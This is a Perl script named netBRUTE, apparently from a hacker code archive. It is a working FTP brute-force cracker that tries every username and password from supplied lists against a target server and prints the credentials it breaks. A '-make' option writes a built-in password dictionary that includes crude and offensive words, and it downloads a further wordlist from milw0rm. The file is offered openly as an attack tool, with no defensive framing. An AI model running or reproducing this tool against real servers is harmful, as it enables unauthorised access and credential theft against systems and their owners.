./c0de/perl/netbrute.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
#!/usr/local/bin/perl
#######################################   
#  
# name: netBRUTE
# coder: Perforin
# status: public
#
#######################################   
#
# +++[+] SiTeS [+]+++
# Dark-CodeZ.org      
# perforins-script-labor.dl.am
#
#######################################   
#
# Usage: perl netbrute.pl URL USER/USERLIST PASSLIST
#
#######################################                                         
 
use Net::FTP;
use LWP::Simple;
 
print q {
            _   ____  _____  _    _ _______ ______ 
           | | |  _ \|  __ \| |  | |__   __|  ____|
 _ __   ___| |_| |_) | |__) | |  | |  | |  | |__   
| '_ \ / _ \ __|  _ <|  _  /| |  | |  | |  |  __|  
| | | |  __/ |_| |_) | | \ \| |__| |  | |  | |____ 
|_| |_|\___|\__|____/|_|  \_\\\____/   |_|  |______|
 
 };
 
 my $version = 1.2;
 my $usage = "USAGE: perl $0 URL USER/USERLIST PASSLIST\n";
 if (@ARGV < 1) {
 print " --> $usage";
 exit;
 }
my $url = $ARGV[0];
if ($ARGV[0] eq "-make") {
print " --> Wordlist menue activated!\n";
my @onboarddictionary = ("aaaa\n","bbbb\n","cccc\n","dddd\n","eeee\n","ffff\n","gggg\n",
"hhhh\n","iiii\n","jjjj\n","kkkk\n","llll\n","mmmm\n","nnnn\n","oooo\n","pppp\n","qqqq\n",
"rrrr\n","ssss\n","tttt\n","uuuu\n","vvvv\n","wwww\n","xxxx\n","yyyy\n","zzzz\n","0000\n",
"1111\n","2222\n","3333\n","4444\n","5555\n","6666\n","7777\n","8888\n","9999\n","007\n",
"hack\n","crack\n","lame\n","lol\n","w00t\n","haxhaxhax\n","fuck\n","administrator\n","fuckyou\n",
"War\n","Bush\n","1337\n","HACKER\n","HAXOR\n","h4x0r\n","hiphop\n","metal\n","techno\n",
"system\n","crash\n","overload\n","overtaken\n","nimda\n","admin\n","root\n","password\n",
"pass\n","toor\n","secret\n","hunter\n","hagbard\n","fxp\n","gulli\n","pirat\n","pirate\n",
"666\n","satan\n","knoten\n","Anna\n","Susi\n","lesbian\n","porno\n","porn\n","pr0n\n",
"elite\n","abwehr\n","microsoft\n","sendmail\n","enter\n","ent0r\n","noob\n","n00b\n",
"boon\n","b00n\n","napo\n","fickvater\n","mutter\n","italien\n","1990\n","1999\n","2000\n",
"3000\n","4000\n","5000\n","1945\n","hitler\n","mussolini\n","roma\n","heinz\n","herbert\n",
"atom\n","rofl\n","lawl\n","hund\n","katze\n","maus\n","anal\n","vaginal\n","oral\n","scheissegal\n",
"raab\n","MTV\n","mtv\n","turbo\n","Herbst\n","Sommer\n","Winter\n","kack0rn\n","pups\n",
"koks\n","kokain\n","heroin\n","joint\n","crystal\n","meth\n","johny\n","wayne\n","vergessen\n",
"motor\n","manson\n","rock\n","punk\n","skater\n","skateordie\n","free4all\n","white\n","black\n",
"emo\n","1992\n","1993\n","1994\n","1995\n","1996\n","1997\n","1998\n","1999\n",,"hatebreed\n","hellfire\n",
"1991\n","1989\n","1988\n","1987\n","1986\n","1985\n","1984\n","1983\n","1982\n","1981\n","1980\n",
"japan\n","china\n","typhon\n","bumsebiene\n","gras\n","frog\n","frosch\n","fly\n","fliege\n",
"dsl\n","ram\n","cpu\n","gpu\n","gangsta\n","makaveli\n","butthole\n","buns\n","ass\n",,"warez\n","appz\n",
"filez\n","leech\n","l33ch\n","lightning\n","beer\n","b33r\n","cartman\n","san\n","kyle\n","keny\n","mr.hat\n",
"cola\n","coke\n","pet0r\n","sharen\n","peter\n","steven\n","manuel\n","joe\n","jeff\n",,"samantha\n","salome\n",
"lilian\n","susan\n","cindy\n","sandra\n","finn\n","mats\n","madsen\n","cholera\n","conny\n","christine\n","philipe\n",
"black\n","white\n","gamer\n","gam0r\n","spellborn\n","steveo\n","jackass\n","pontius\n","help\n","bluescreen\n","baseball\n",
"foorball\n","pokemon\n","pikachu\n","microshit\n","linux\n","windows\n","karibik\n","england\n","omg\n","masterchief\n","nope\n");
open(userlist,">users.txt");
print userlist @onboarddictionary;
close(userlist);
my $content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt') || die(" <-- Milw0rm down?!\n");
rename ("mil-dic.txt", "wordlist.txt");
exit;
}
if ($url =~ m/(http:)/) {
print " <-- Post URL without http!\n";
exit;
}
my $user = $ARGV[1];
if ($user =~ m/(.txt|.lst)/) {
print "--> Brute URL: "."$url"."\n";
print " --> Brute with USERLIST: "."$user"."\n";
print " --> Brute with PASSLIST: "."$pass_list"."\n";
print " --> Start bruting now!\n";
my @users = ();
open (USER, "$user") || die " <-- Userlist not found!\n";
 while (my $lines = <USER>)
                    { (my $users) = split(" ",$lines);
                      push (@users, "$users");
                    };
close(USER);
my @passes = ();
my $pass_list = $ARGV[2];
open (PASS, "$pass_list") || die " <-- Passlist not found!\n";
 while (my $lines = <PASS>)
                    { (my $pass) = split(" ",$lines);
                      push (@passes, "$pass");
                    };
close(PASS);
foreach my $user (@users) {
foreach my $pass (@passes) {
$ftp = Net::FTP->new("$url",Debug => 0) or die " <-- Cannot conect to"."$url"."\n";
if ($ftp->login("$user","$pass")) 
{ print qq "
 --> CRACKED!
 --> USER: $user
 --> PASSWORD: $pass
";
$ftp->quit;
exit;
}
$ftp->quit;
}}
print " <-- User NOT found!\n";
print " <-- Password NOT found!\n";
print " <-- Bruting failed!\n";
exit;
}
my @passes = ();
my $pass_list = $ARGV[2];
open (PASS, "$pass_list") || die " <-- Passlist not found!\n";
 while (my $lines = <PASS>)
                    { (my $pass) = split(" ",$lines);
                      push (@passes, "$pass");
                    };
close(PASS);
print "--> Brute URL: "."$url"."\n";
print " --> Brute with USER: "."$user"."\n";
print " --> Brute with PASSLIST: "."$pass_list"."\n";
print " --> Start bruting now!\n";
foreach my $pass (@passes) {
$ftp = Net::FTP->new("$url",Debug => 0) or die " <-- Cannot conect to"."$url"."\n";
if ($ftp->login("$user","$pass")) 
{ print qq "
 --> CRACKED!
 --> USER: $user
 --> PASSWORD: $pass
";
$ftp->quit;
exit;
}
$ftp->quit;
}
print " <-- Password NOT found!\n";
print " <-- Bruting failed!\n";
exit;

Back